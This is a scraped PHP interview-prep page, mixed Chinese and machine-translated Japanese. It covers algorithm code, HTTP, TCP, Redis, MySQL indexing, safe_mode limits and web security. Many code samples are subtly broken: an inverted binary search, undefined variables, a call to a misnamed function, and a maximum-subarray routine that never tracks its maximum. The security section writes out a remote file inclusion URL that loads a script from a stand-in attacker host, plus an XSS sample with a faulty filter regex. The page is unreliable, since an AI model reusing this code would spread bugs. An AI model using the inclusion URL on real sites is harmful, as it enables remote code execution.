ホームページ >バックエンド開発 >PHPチュートリアル >PHPプログラマー3年目のインタビューまとめ
这篇文章介绍的内容是关于3年PHP程序员的面试总结,有着一定的参考价值,现在分享给大家,有需要的朋友可以参考一下
/** * 反转数组 * @param array $arr * @return array */function reverse($arr){ $n = count($arr); $left = 0; $right = $n - 1; while ($left < $right) { $temp = $arr[$left]; $arr[$left++] = $arr[$right]; $arr[$right--] = $temp; } return $arr;}
/** * 寻找两个有序数组里相同的元素 * @param array $arr1 * @param array $arr2 * @return array */function find_common($arr1, $arr2){ $common = array(); $i = $j = 0; $count1 = count($arr1); $count2 = count($arr2); while ($i < $count1 && $j < $count2) { if ($arr1[$i] < $arr2[$j]) { $i++; } elseif ($arr1[$i] > $arr2[$j]) { $j++; } else { $common[] = $arr[$i]; $i++; $j++; } } return array_unique($common);}
/** * 打乱数组 * @param array $arr * @return array */function custom_shuffle($arr){ $n = count($arr); for ($i = 0; $i < $n; $i++) { $rand_pos = mt_rand(0, $n - 1); if ($rand_pos != $i) { $temp = $arr[$i]; $arr[$i] = $arr[$rand_pos]; $arr[$rand_pos] = $temp; } } return $arr;}
function number_alphabet($str){ $number = preg_split('/[a-z]+/', $str, -1, PREG_SPLIT_NO_EMPTY); $alphabet = preg_split('/\d+/', $str, -1, PREG_SPLIT_NO_EMPTY); $n = count($number); for ($i = 0; $i < $count; $i++) { echo $number[$i] . ':' . $alphabet[$i] . '</br>'; }}$str = '1a3bb44a2ac';number_alphabet($str);//1:a 3:bb 44:a 2:ac
思路:1.(质数筛选定理)n不能够被不大于根号n的任何质数整除,则n是一个质数
2.除了2的偶数都不是质数
代码如下:
/** * 求n内的质数 * @param int $n * @return array */function get_prime($n){ $prime = array(2);//2为质数 for ($i = 3; $i <= $n; $i += 2) {//偶数不是质数,步长可以加大 $sqrt = intval(sqrt($i));//求根号n for ($j = 3; $j <= $sqrt; $j += 2) {//i是奇数,当然不能被偶数整除,步长也可以加大。 if ($i % $j == 0) { break; } } if ($j > $sqrt) { array_push($prime, $i); } } return $prime;}print_r(getPrime(1000));
相关题目:一群猴子排成一圈,按1,2,…,n依次编号。然后从第1只开始数,数到第m只,把它踢出圈,从它后面再开始数, 再数到第m只,在把它踢出去…,如此不停的进行下去, 直到最后只剩下一只猴子为止,那只猴子就叫做大王。要求编程模拟此过程,输入m、n, 输出最后那个大王的编号。
/** * 获取大王 * @param int $n * @param int $m * @return int */function get_king_mokey($n, $m) { $arr = range(1, $n); $i = 0; while (count($arr) > 1) { $i++; $survice = array_shift($arr); if ($i % $m != 0) { array_push($arr, $survice); } } return $arr[0];}
思路:假设最前面的1000个数为最小的,算出这1000个数中最大的数,然后和第1001个数比较,如果这最大的数比这第1001个数小的话跳过,如果要比这第1001个数大则将两个数交换位置,并算出新的1000个数里面的最大数,再和下一个数比较,以此类推。
代码如下:
//寻找最小的k个数//题目描述//输入n个整数,输出其中最小的k个。/** * 获取最小的k个数 * @param array $arr * @param int $k [description] * @return array */function get_min_array($arr, $k){ $n = count($arr); $min_array = array(); for ($i = 0; $i < $n; $i++) { if ($i < $k) { $min_array[$i] = $arr[$i]; } else { if ($i == $k) { $max_pos = get_max_pos($min_array); $max = $min_array[$max_pos]; } if ($arr[$i] < $max) { $min_array[$max_pos] = $arr[$i]; $max_pos = get_max_pos($min_array); $max = $min_array[$max_pos]; } } } return $min_array;}/** * 获取最大的位置 * @param array $arr * @return array */function get_max_pos($arr){ $pos = 0; for ($i = 1; $i < count($arr); $i++) { if ($arr[$i] > $arr[$pos]) { $pos = $i; } } return $pos;}$array = [1, 100, 20, 22, 33, 44, 55, 66, 23, 79, 18, 20, 11, 9, 129, 399, 145, 2469, 58];$min_array = get_min_array($array, 10);print_r($min_array);
代码如下:
/** * 二分查找 * @param array $array 数组 * @param int $n 数组数量 * @param int $value 要寻找的值 * @return int */function binary_search($array, $n, $value){ $left = 0; $right = $n - 1; while ($left <= $right) { $mid = intval(($left + $right) / 2); if ($value > $array[$mid]) { $right = $mid + 1; } elseif ($value < $array[$mid]) { $left = $mid - 1; } else { return $mid; } } return -1;}
思路:二分查找
/** * 获取绝对值最小的元素 * @param array $arr * @return int */function get_min_abs_value($arr){ //如果符号相同,直接返回 if (is_same_sign($arr[0], $arr[$n - 1])) { return $arr[0] >= 0 ? $arr[0] : $arr[$n - 1]; } //二分查找 $n = count($arr); $left = 0; $right = $n - 1; while ($left <= $right) { if ($left + 1 === $right) { return abs($arr[$left]) < abs($arr[$right]) ? $arr[$left] : $arr[$right]; } $mid = intval(($left + $right) / 2); if ($arr[$mid] < 0) { $left = $mid + 1; } else { $right = $mid - 1; } }}/** * 判断符号是否相同 * @param int $a * @param int $b * @return boolean */function is_same_sign($a, $b){ if ($a * $b > 0) { return true; } else { return false; }}
思路:动态规划
function three_sum($arr){ $n = count($arr); $return = array(); for ($i=0; $i < $n; $i++) { $left = $i + 1; $right = $n - 1; while ($left <= $right) { $sum = $arr[$i] + $arr[$left] + $arr[$right]; if ($sum < 0) { $left++; } elseif ($sum > 0) { $right--; } else { $numbers = $arr[$i] . ',' . $arr[$left] . ',' . $arr[$right]; if (!in_array($numbers, $return)) { $return[] = $numbers; } $left++; $right--; } } } return $return;}$arr = [-10, -9, -8, -4, -2, 0, 1, 2, 3, 4, 5, 6, 9];var_dump(three_sum($arr));
思路:动态规划
/** * 获取最大的连续和 * @param array $arr * @return int */function max_sum_array($arr){ $currSum = 0; $maxSum = 0;//数组元素全为负的情况,返回最大数 $n = count($arr); for ($i = 0; $i < $n; $i++) { if ($currSum >= 0) { $currSum += $arr[$i]; } else { $currSum = $arr[$i]; } } if ($currSum > $maxSum) { $maxSum = $currSum; } return $maxSum;}
GET在浏览器回退时是无害的,而POST会再次提交请求。
GET产生的URL地址可以被Bookmark,而POST不可以。
GET请求会被浏览器主动cache,而POST不会,除非手动设置。
GET请求只能进行url编码,而POST支持多种编码方式。
GET请求参数会被完整保留在浏览器历史记录里,而POST中的参数不会被保留。
GET请求在URL中传送的参数是有长度限制的,而POST没有。
对参数的数据类型,GET只接受ASCII字符,而POST没有限制。
GET比POST更不安全,因为参数直接暴露在URL上,所以不能用来传递敏感信息。
GET参数通过URL传递,POST放在Request body中。
GET产生一个TCP数据包,POST产生两个TCP数据包。
在Tcp连接中,服务端的SYN和ACK向客户端发送是一次性发送的,而在断开连接的过程中,B端向A端发送的ACK和FIN是分两次发送的。因为在B端接收到A端的FIN后,B端可能还有数据要传输,所以先发送ACK,等B端处理完自己的事情后就可以发送FIN断开连接了。
如果设置了过期时间,Cookie存在硬盘里
没有设置过期时间,Cookie存在内存里
COOKIE保存在客户端,而SESSION则保存在服务器端
从安全性来讲,SESSION的安全性更高
从保存内容的类型的角度来讲,COOKIE只保存字符串(及能够自动转换成字符串)
从保存内容的大小来看,COOKIE保存的内容是有限的,比较小,而SESSION基本上没有这个限制
从性能的角度来讲,用SESSION的话,对服务器的压力会更大一些
SEEION依赖于COOKIE,但如果禁用COOKIE,也可以通过url传递
chmod u=r 文件名
进程:是用pid表示,它的数值是唯一的
父进程:用ppid表示
启动进程的用户:用UID表示
启动进程的用户所属的组:用GID表示
进程的状态:运行R,就绪W,休眠S,僵尸Z
awk '{print $1}' /var/log/access.log | sort | uniq | wc -l
推荐篇文章,讲awk实际使用的shell在手分析服务器日志不愁
モニタリングメソッド | フォーム | nginxリンクfastcgiメソッド |
---|---|---|
ポートモニタリング | fastcgi_pass 127.0.0.1: 9000 | TCPリンク |
ファイル監視 | fastcgi_pass /tmp/php_cgi.sock | Unixドメインソケット |
ポーリング
ユーザーIPハッシュ
重みを指定する
fair (サードパーティ)
url_hash (サードパーティ)
初回接続でも再接続でも、スレーブサーバーが確立されると、スレーブサーバーはマスターサーバーからSYNCコマンドを送信します。 SYNC コマンドを受信したメイン サーバーは BGSAVE の実行を開始し、保存操作中に新しく実行されたすべてのコマンドをバッファーに保存します。BGSAVE が完了すると、メイン サーバーは保存操作によって取得された .rdb ファイルを実行します。スレーブ サーバーに送信され、サーバーから .rdb ファイルが受信され、ファイル内のデータがメモリにロードされます。その後、マスターサーバーは書き込みコマンドバッファーに蓄積されたすべての内容を Redis コマンドプロトコルの形式でスレーブサーバーに送信します。
キャッシュ ヒット率 = get_hits/cmd_get * 100%
Consistent Hash
Memcache
製品自体、特にメモリ内のデータの保存では、サーバーの電源が突然失われると、すべてのデータが失われます
1つのキー(変数)に保存されるデータには1Mの制限があります
ストレージ データ型は全てString型です
永続化機能はありません
マルチコア(マルチスレッド)が利用可能です
Redis
データ型は比較的豊富: String、List、Set、Sortedset、Hash
には永続化機能があり、いつでもディスクにデータを保存できます
特定の計算機能があります
データは単一のキーに保存されます( #
クエリフィールドが INT 型の場合、クエリ条件が CHAR の場合、先頭の文字列が INT に変換されます。数値でない場合はインターセプトされ、0 に変換されます。
a = 1 および b = 2 のユーザーから * を選択INDEX(`a`, `b`, `c`)
b = 2 および a = 1 のユーザーから * を選択 | a、b を使用できます (MySQL クエリ オプティマイザーを使用) |
---|---|
a を使用できます | |
できません |
関数名 | 制限事項 |
---|---|
dbmopen() | 操作対象のファイルまたはディレクトリが、実行中のスクリプトと同じUID(所有者)を持つかどうかを確認します。 |
dbase_open() | 操作中のファイルまたはディレクトリが、実行中のスクリプトと同じ UID (所有者) を持つかどうかを確認します。 |
filepro() | 操作されているファイルまたはディレクトリが、実行されているスクリプトと同じ UID (所有者) を持つかどうかを確認します。 |
filepro_rowcount() | 操作されているファイルまたはディレクトリが、実行されているスクリプトと同じ UID (所有者) を持つかどうかを確認します。 |
filepro_retrieve() | 操作されているファイルまたはディレクトリが、実行されているスクリプトと同じ UID (所有者) を持つかどうかを確認します。 |
ifx_* sql_safe_mode | limit, (!= セーフモード) |
ingres_* sql_safe_mode | limit, (!= セーフモード) |
mysql_* sql_safe_mode | 制限、(!= セーフモード) |
pg_loimport() | 操作されているファイルまたはディレクトリが、実行されているスクリプトと同じ UID (所有者) を持つかどうかを確認します。 |
posix_mkfifo() | 操作されているディレクトリが、実行されているスクリプトと同じ UID (所有者) を持つかどうかを確認します。 |
putenv() | ini によって設定されたsafe_mode_protected_env_varsおよびsafe_mode_allowed_env_varsオプションに従います。 putenv() 関数のドキュメントを参照してください。 |
move_uploaded_file() | 操作されているファイルまたはディレクトリが、実行されているスクリプトと同じ UID (所有者) を持つかどうかを確認します。 |
chdir() | 操作されているディレクトリが、実行されているスクリプトと同じ UID (所有者) を持つかどうかを確認します。 |
dl() | この機能はセーフモードでは無効になっています。 |
バックティック演算子 | この機能はセーフ モードでは無効になっています。 |
shell_exec() | (機能的にはバックティック関数と同じ) この関数はセーフモードでは無効になっています。 |
exec() | は、safe_mode_exec_dirで設定されたディレクトリでのみ実行できます。何らかの理由で、現在、実行可能オブジェクトのパスに .. を使用することはできません。この関数の引数にはescapeshellcmd()が適用されます。 |
system() | は、safe_mode_exec_dirで設定されたディレクトリでのみ実行できます。何らかの理由で、現在、実行可能オブジェクトのパスに .. を使用することはできません。この関数の引数にはescapeshellcmd()が適用されます。 |
passthru() | は、safe_mode_exec_dirで設定されたディレクトリでのみ実行できます。何らかの理由で、現在、実行可能オブジェクトのパスに .. を使用することはできません。この関数の引数にはescapeshellcmd()が適用されます。 |
popen() | は、safe_mode_exec_dirで設定されたディレクトリでのみ実行できます。何らかの理由で、現在、.. は実行可能オブジェクトのパスに使用できません。この関数の引数にはescapeshellcmd()が適用されます。 |
fopen() | 操作対象のディレクトリが、実行中のスクリプトと同じUID(所有者)を持つかどうかを確認します。 |
mkdir() | 操作されているディレクトリが、実行されているスクリプトと同じ UID (所有者) を持つかどうかを確認します。 |
rmdir() | 操作されているディレクトリが、実行されているスクリプトと同じ UID (所有者) を持つかどうかを確認します。 |
rename() | 操作されているファイルまたはディレクトリが、実行されているスクリプトと同じ UID (所有者) を持つかどうかを確認します。 操作中のディレクトリが実行中のスクリプトと同じ UID (所有者) であるかどうかを確認します。 |
unlink() | 操作対象のファイルまたはディレクトリが、実行中のスクリプトと同じ UID (所有者) を持つかどうかを確認します。 操作中のディレクトリが実行中のスクリプトと同じ UID (所有者) であるかどうかを確認します。 |
copy() | 操作されているファイルまたはディレクトリが、実行されているスクリプトと同じ UID (所有者) を持つかどうかを確認します。 操作中のディレクトリが実行中のスクリプトと同じ UID (所有者) であるかどうかを確認します。 (source と target で) |
chgrp() | 操作されているファイルまたはディレクトリが、実行されているスクリプトと同じ UID (所有者) を持つかどうかを確認します。 |
chown() | 操作されているファイルまたはディレクトリが、実行されているスクリプトと同じ UID (所有者) を持つかどうかを確認します。 |
chmod() | 操作されているファイルまたはディレクトリが、実行されているスクリプトと同じ UID (所有者) を持つかどうかを確認します。 さらに、SUID、SGID、およびスティッキービットは設定できません |
touch() | 操作されているファイルまたはディレクトリが、実行されているスクリプトと同じUID(所有者)を持つかどうかを確認します。 操作中のディレクトリが実行中のスクリプトと同じ UID (所有者) であるかどうかを確認します。 |
symlink() | 操作されているファイルまたはディレクトリが、実行されているスクリプトと同じ UID (所有者) を持つかどうかを確認します。 操作中のディレクトリが実行中のスクリプトと同じ UID (所有者) であるかどうかを確認します。 (注: テスト対象のみ) |
link() | 操作対象のファイルまたはディレクトリが、実行中のスクリプトと同じUID(所有者)を持つかどうかを確認します。 操作中のディレクトリが実行中のスクリプトと同じ UID (所有者) であるかどうかを確認します。 (注: テスト対象のみ) |
apache_request_headers() | セーフモードでは、「authorization」(大文字と小文字を区別)で始まるヘッダーは返されません。 |
header() | セーフ モードでは、WWW-Authenticate が設定されている場合、現在のスクリプトの uid がヘッダーのレルム部分に追加されます。 |
PHP_AUTH 変数 | セーフ モードでは、変数 PHP_AUTH_USER、PHP_AUTH_PW、および PHP_AUTH_TYPE は $_SERVER で使用できません。ただし、いずれにせよ、REMOTE_USER を使用してユーザー名 (USER) を取得することはできます。 (注: PHP 4.3.0 以降のみ有効) |
highlight_file(), show_source() | 操作中のファイルまたはディレクトリが、実行中のスクリプトと同じ UID (所有者) を持つかどうかを確認します。 操作中のディレクトリが実行中のスクリプトと同じ UID (所有者) であるかどうかを確認します。 (バージョン 4.2.1 以降のみ有効であることに注意してください) |
parse_ini_file() | 操作されているファイルまたはディレクトリが、実行されているスクリプトと同じ UID (所有者) を持つかどうかを確認します。 操作中のディレクトリが実行中のスクリプトと同じ UID (所有者) であるかどうかを確認します。 (バージョン 4.2.1 以降のみ有効であることに注意してください) |
set_time_limit() | はセーフ モードでは機能しません。 |
max_execution_time | はセーフ モードでは機能しません。 |
mail() | セーフ モードでは、5 番目のパラメーターはブロックされます。 |
function write($str){ $fp = fopen($file, 'a'); do { usleep(100); } while (!flock($fp, LOCK_EX)); fwrite($fp, $str . PHP_EOL); flock($fp, LOCK_UN); fclose($fp);}
$GLOBALS
$_SERVER
$_GET
$_POST
$_FILES
$_COOKIE
$_SESSION
$_REQUEST
$_ENV
?? 运算符(NULL 合并运算符)
函数返回值类型声明
标量类型声明
use 批量声明
define 可以定义常量数组
闭包( Closure)增加了一个 call 方法详细的可以见官网:php7-new-features
减少内存分配次数
多使用栈内存
缓存数组的hash值
字符串解析成桉树改为宏展开
使用大块连续内存代替小块破碎内存详细的可以参考鸟哥的PPT:PHP7性能之源
现在任一个黑客现在都可以用:http://www.yourdomain.com/index.php?p=anyfile.txt
来获取你的机密信息,或执行一个PHP脚本。如果allow_url_fopen=On,你更是死定了:试试这个输入:http://www.yourdomain.com/index.php?p=http://youaredoomed.com/phphack.php
现在你的网页中包含了http://www.youaredoomed.com/phphack.php
的输出. 黑客可以发送垃圾邮件,改变密码,删除文件等等。只要你能想得到。
SQL注入:
addslashes函数
mysql_real_escape_string/mysqli_real_escape_string/PDO::quote()
PDO预处理XSS:htmlspecial函数CSRF:
验证HTTP REFER
使用toke进行验证
jwt或验证签名
单例模式
工厂模式
脸面模式(facade)
注册器模式
策略模式
原型模式
装饰器模式更多的可以看PHP设计模式简介这篇文章
function check_ip($ip){ if (!filter_var($ip, FILTER_VALIDATE_IP)) { return false; } else { return true; }}
function check_datetime($datetime){ if (date('Y-m-d H:i:s', strtotime($datetime)) === $datetime) { return true; } else { return false; }}
<p style="margin-bottom: 7px;">$text = '<script>alert('XSS')</script>';$pattern = '<script.*>.*<\/script>/i';$text = preg_replace($pattern, '', $text);<br/></p>
第一种方案:被动过期+cron,就是用户查看的时候去数据库查有没有支付+定时清理。第二种方案:延迟性任务,到时间检查订单是否支付成功,如果没有支付则取消订单
思路:用redis的队列
$ttl = 4;$random = mt_rand(1,1000).'-'.gettimeofday(true).'-'.mt_rand(1,1000);$lock = fasle;while (!$lock) { $lock = $redis->set('lock', $random, array('nx', 'ex' => $ttl));}if ($redis->get('goods.num') <= 0) { echo ("秒杀已经结束"); //删除锁 if ($redis->get('lock') == $random) { $redis->del('lock'); } return false;}$redis->decr('goods.num');echo ("秒杀成功");//删除锁if ($redis->get('lock') == $random) { $redis->del('lock');}return true;
//ip2long,把所有城市的最小和最大Ip录进去$redis_key = 'ip';$redis->zAdd($redis_key, 20, '#bj');//北京的最小IP加#$resid->zAdd($redis_key, 30, 'bj');//最大IPfunction get_ip_city($ip_address){ $ip = ip2long($ip_address); $redis_key = 'ip'; $city = zRangeByScore($redis_key, $ip, '+inf', array('limit' => array(0, 1))); if ($city) { if (strpos($city[0], "#") === 0) { echo '城市不存在!'; } else { echo '城市是' . $city[0]; } } else { echo '城市不存在!'; }}
top、iostat查看cpu、内存及io占用情况
内核、程序参数设置不合理查看有没有报内核错误,连接数用户打开文件数这些有没有达到上限等等
链路本身慢是否跨运营商、用户上下行带宽不够、dns解析慢、服务器内网广播风暴什么的
程序设计不合理是否程序本身算法设计太差,数据库语句太过复杂或者刚上线了什么功能引起的
其它关联的程序引起的如果要访问数据库,检查一下是否数据库访问慢
是否被攻击了查看服务器是否被DDos了等等
硬件故障这个一般直接服务器就挂了,而不是访问慢
减少http请求(比如使用雪碧图)
优化数据库(范式、SQL语句、索引、配置、读写分离)
缓存使用(Memcache、Redis)
负载均衡
动态内容静态化+CDN
禁止外部盗链(refer、图片添加水印)
控制大文件下载
使用集群
使用satis搭建
相关文章介绍:使用satis搭建Composer私有库
相关推荐:
以上がPHPプログラマー3年目のインタビューまとめの詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。